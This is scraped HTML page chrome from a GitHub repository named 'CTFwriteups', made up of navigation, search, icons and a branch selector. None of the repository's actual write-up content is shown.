<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans <span>→</span> Contact Sales <span>→</span>
Education <span>→</span> </div> </details> </nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0">
<div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="291562148" data-scoped-search-url="/notAHacker007/CTFwriteups/search" data-owner-scoped-search-url="/users/notAHacker007/search" data-unscoped-search-url="/search" action="/notAHacker007/CTFwriteups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="tZJC0aw3Mqb0tqifqbP4SvkVJX6jQsAlWa+fas94IAC0/F3QqSdE9j4t55Bu2DxhribCnL3eUSh9PJNsRsEgWw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div>
Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div data-pjax-replace id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container >
<div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace>
<div class="d-flex mb-3 px-3 px-md-4 px-lg-5">
<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> notAHacker007 </span> <span>/</span> CTFwriteups
<span></span><span>Public</span></h1>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications
<div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span>
0 </div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork
0
</div>
<div id="responsive-meta-container" data-pjax-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/notAHacker007/CTFwriteups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights
</details-menu></div></details></div></nav> </div>
<div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " >
<div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/notAHacker007/CTFwriteups/refs" cache-key="v0:1598826698.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm90QUhhY2tlcjAwNy9DVEZ3cml0ZXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
